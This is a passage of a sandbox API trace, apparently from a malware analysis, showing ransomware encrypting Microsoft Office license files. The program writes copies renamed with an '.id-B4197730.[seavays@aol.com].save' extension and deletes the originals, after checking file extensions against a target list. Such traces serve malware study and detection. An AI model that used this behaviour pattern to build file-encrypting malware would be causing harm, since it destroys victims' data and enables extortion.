dwFileAttributes=0x220) returned 1 [0194.128] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-ppd.xrm-ms")) returned 1 [0194.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms") returned 76 [0194.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms") returned 76 [0194.130] lstrlenW (lpString=".doc") returned 4 [0194.130] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0194.130] lstrlenW (lpString=".docx") returned 5 [0194.130] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0194.130] lstrlenW (lpString=".pdf") returned 4 [0194.130] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0194.130] lstrlenW (lpString=".xls") returned 4 [0194.130] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0194.130] lstrlenW (lpString=".xlsx") returned 5 [0194.130] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0194.130] lstrlenW (lpString=".ppt") returned 4 [0194.130] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0194.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms") returned 76 [0194.130] lstrlenW (lpString=".zip") returned 4 [0194.130] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0194.130] lstrlenW (lpString=".rar") returned 4 [0194.130] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0194.130] lstrlenW (lpString=".bz2") returned 4 [0194.130] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0194.130] lstrlenW (lpString=".7z") returned 3 [0194.130] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0194.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms") returned 76 [0194.130] lstrlenW (lpString=".dbf") returned 4 [0194.130] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0194.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms") returned 76 [0194.131] lstrlenW (lpString=".1cd") returned 4 [0194.131] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0194.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms") returned 76 [0194.131] lstrlenW (lpString=".jpg") returned 4 [0194.131] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0194.131] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0194.358] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x3f7ff14 | out: lpFileSize=0x3f7ff14*=11595) returned 1 [0194.358] CloseHandle (hObject=0x54c) returned 1 [0194.358] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-ul-oob.xrm-ms")) returned 0x220 [0194.691] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-ul-oob.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0195.296] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0195.297] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.297] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.297] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-ul-oob.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0195.300] GetLastError () returned 0x0 [0195.300] ReadFile (in: hFile=0x488, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x2d4b, lpOverlapped=0x0) returned 1 [0195.302] WriteFile (in: hFile=0x45c, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x2d50, lpOverlapped=0x0) returned 1 [0195.304] ReadFile (in: hFile=0x488, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x0, lpOverlapped=0x0) returned 1 [0195.304] WriteFile (in: hFile=0x45c, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x10e, lpOverlapped=0x0) returned 1 [0195.304] SetEndOfFile (hFile=0x45c) returned 1 [0195.304] CloseHandle (hObject=0x45c) returned 1 [0195.304] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.304] SetEndOfFile (hFile=0x488) returned 1 [0195.308] CloseHandle (hObject=0x488) returned 1 [0195.308] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0195.313] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-ul-oob.xrm-ms")) returned 1 [0195.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms") returned 79 [0195.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms") returned 79 [0195.315] lstrlenW (lpString=".doc") returned 4 [0195.315] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0195.315] lstrlenW (lpString=".docx") returned 5 [0195.315] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0195.315] lstrlenW (lpString=".pdf") returned 4 [0195.315] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0195.315] lstrlenW (lpString=".xls") returned 4 [0195.315] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0195.315] lstrlenW (lpString=".xlsx") returned 5 [0195.315] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0195.315] lstrlenW (lpString=".ppt") returned 4 [0195.315] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0195.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms") returned 79 [0195.315] lstrlenW (lpString=".zip") returned 4 [0195.315] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0195.315] lstrlenW (lpString=".rar") returned 4 [0195.315] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0195.315] lstrlenW (lpString=".bz2") returned 4 [0195.315] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0195.315] lstrlenW (lpString=".7z") returned 3 [0195.316] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0195.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms") returned 79 [0195.316] lstrlenW (lpString=".dbf") returned 4 [0195.316] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0195.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms") returned 79 [0195.316] lstrlenW (lpString=".1cd") returned 4 [0195.316] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0195.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms") returned 79 [0195.316] lstrlenW (lpString=".jpg") returned 4 [0195.316] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0195.317] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.318] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.318] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-ul-oob.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0195.320] GetLastError () returned 0x0 [0195.320] ReadFile (in: hFile=0x488, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x2d50, lpOverlapped=0x0) returned 1 [0195.322] WriteFile (in: hFile=0x45c, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x2d60, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x2d60, lpOverlapped=0x0) returned 1 [0195.324] ReadFile (in: hFile=0x488, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x0, lpOverlapped=0x0) returned 1 [0195.324] WriteFile (in: hFile=0x45c, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x110, lpOverlapped=0x0) returned 1 [0195.324] SetEndOfFile (hFile=0x45c) returned 1 [0195.324] CloseHandle (hObject=0x45c) returned 1 [0195.324] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.324] SetEndOfFile (hFile=0x488) returned 1 [0195.328] CloseHandle (hObject=0x488) returned 1 [0195.329] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0195.329] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-ul-oob.xrm-ms")) returned 1 [0195.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms") returned 80 [0195.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms") returned 80 [0195.331] lstrlenW (lpString=".doc") returned 4 [0195.331] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0195.331] lstrlenW (lpString=".docx") returned 5 [0195.331] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0195.331] lstrlenW (lpString=".pdf") returned 4 [0195.331] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0195.331] lstrlenW (lpString=".xls") returned 4 [0195.331] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0195.331] lstrlenW (lpString=".xlsx") returned 5 [0195.331] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0195.331] lstrlenW (lpString=".ppt") returned 4 [0195.331] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0195.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms") returned 80 [0195.331] lstrlenW (lpString=".zip") returned 4 [0195.331] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0195.331] lstrlenW (lpString=".rar") returned 4 [0195.331] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0195.331] lstrlenW (lpString=".bz2") returned 4 [0195.331] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0195.331] lstrlenW (lpString=".7z") returned 3 [0195.331] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0195.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms") returned 80 [0195.332] lstrlenW (lpString=".dbf") returned 4 [0195.332] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0195.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms") returned 80 [0195.332] lstrlenW (lpString=".1cd") returned 4 [0195.332] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0195.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms") returned 80 [0195.332] lstrlenW (lpString=".jpg") returned 4 [0195.332] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0195.333] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.333] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.333] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-pl.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0195.549] GetLastError () returned 0x0 [0195.549] ReadFile (in: hFile=0x488, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x2b83, lpOverlapped=0x0) returned 1 [0195.551] WriteFile (in: hFile=0x51c, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x2b90, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x2b90, lpOverlapped=0x0) returned 1 [0195.553] ReadFile (in: hFile=0x488, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x0, lpOverlapped=0x0) returned 1 [0195.553] WriteFile (in: hFile=0x51c, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x100, lpOverlapped=0x0) returned 1 [0195.553] SetEndOfFile (hFile=0x51c) returned 1 [0195.553] CloseHandle (hObject=0x51c) returned 1 [0195.554] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.554] SetEndOfFile (hFile=0x488) returned 1 [0195.557] CloseHandle (hObject=0x488) returned 1 [0195.557] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0195.559] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-pl.xrm-ms")) returned 1 [0195.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms") returned 72 [0195.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms") returned 72 [0195.560] lstrlenW (lpString=".doc") returned 4 [0195.560] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0195.560] lstrlenW (lpString=".docx") returned 5 [0195.560] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0195.561] lstrlenW (lpString=".pdf") returned 4 [0195.561] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0195.561] lstrlenW (lpString=".xls") returned 4 [0195.561] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0195.561] lstrlenW (lpString=".xlsx") returned 5 [0195.561] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0195.561] lstrlenW (lpString=".ppt") returned 4 [0195.561] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0195.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms") returned 72 [0195.561] lstrlenW (lpString=".zip") returned 4 [0195.561] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0195.561] lstrlenW (lpString=".rar") returned 4 [0195.561] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0195.561] lstrlenW (lpString=".bz2") returned 4 [0195.561] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0195.561] lstrlenW (lpString=".7z") returned 3 [0195.561] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0195.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms") returned 72 [0195.561] lstrlenW (lpString=".dbf") returned 4 [0195.561] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0195.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms") returned 72 [0195.561] lstrlenW (lpString=".1cd") returned 4 [0195.561] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0195.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms") returned 72 [0195.561] lstrlenW (lpString=".jpg") returned 4 [0195.561] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0195.565] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.565] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.565] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ul.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0195.566] GetLastError () returned 0x0 [0195.567] ReadFile (in: hFile=0x488, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x2581, lpOverlapped=0x0) returned 1 [0195.568] WriteFile (in: hFile=0x51c, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x2590, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x2590, lpOverlapped=0x0) returned 1 [0195.570] ReadFile (in: hFile=0x488, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x0, lpOverlapped=0x0) returned 1 [0195.570] WriteFile (in: hFile=0x51c, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x10c, lpOverlapped=0x0) returned 1 [0195.571] SetEndOfFile (hFile=0x51c) returned 1 [0195.571] CloseHandle (hObject=0x51c) returned 1 [0195.571] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.571] SetEndOfFile (hFile=0x488) returned 1 [0195.574] CloseHandle (hObject=0x488) returned 1 [0195.574] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0195.575] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ul.xrm-ms")) returned 1 [0195.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms") returned 78 [0195.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms") returned 78 [0195.576] lstrlenW (lpString=".doc") returned 4 [0195.577] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0195.577] lstrlenW (lpString=".docx") returned 5 [0195.577] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0195.577] lstrlenW (lpString=".pdf") returned 4 [0195.577] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0195.577] lstrlenW (lpString=".xls") returned 4 [0195.577] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0195.577] lstrlenW (lpString=".xlsx") returned 5 [0195.577] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0195.577] lstrlenW (lpString=".ppt") returned 4 [0195.577] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0195.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms") returned 78 [0195.577] lstrlenW (lpString=".zip") returned 4 [0195.577] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0195.577] lstrlenW (lpString=".rar") returned 4 [0195.577] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0195.577] lstrlenW (lpString=".bz2") returned 4 [0195.577] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0195.577] lstrlenW (lpString=".7z") returned 3 [0195.577] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0195.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms") returned 78 [0195.577] lstrlenW (lpString=".dbf") returned 4 [0195.577] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0195.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms") returned 78 [0195.577] lstrlenW (lpString=".1cd") returned 4 [0195.577] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0195.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms") returned 78 [0195.578] lstrlenW (lpString=".jpg") returned 4 [0195.578] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0195.579] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.579] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.579] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-pl.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0195.581] GetLastError () returned 0x0 [0195.581] ReadFile (in: hFile=0x488, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x297b, lpOverlapped=0x0) returned 1 [0195.741] WriteFile (in: hFile=0x51c, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x2980, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x2980, lpOverlapped=0x0) returned 1 [0195.742] ReadFile (in: hFile=0x488, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x0, lpOverlapped=0x0) returned 1 [0195.742] WriteFile (in: hFile=0x51c, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0xfe, lpOverlapped=0x0) returned 1 [0195.743] SetEndOfFile (hFile=0x51c) returned 1 [0195.743] CloseHandle (hObject=0x51c) returned 1 [0195.746] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.746] SetEndOfFile (hFile=0x488) returned 1 [0195.749] CloseHandle (hObject=0x488) returned 1 [0195.750] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0196.267] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft 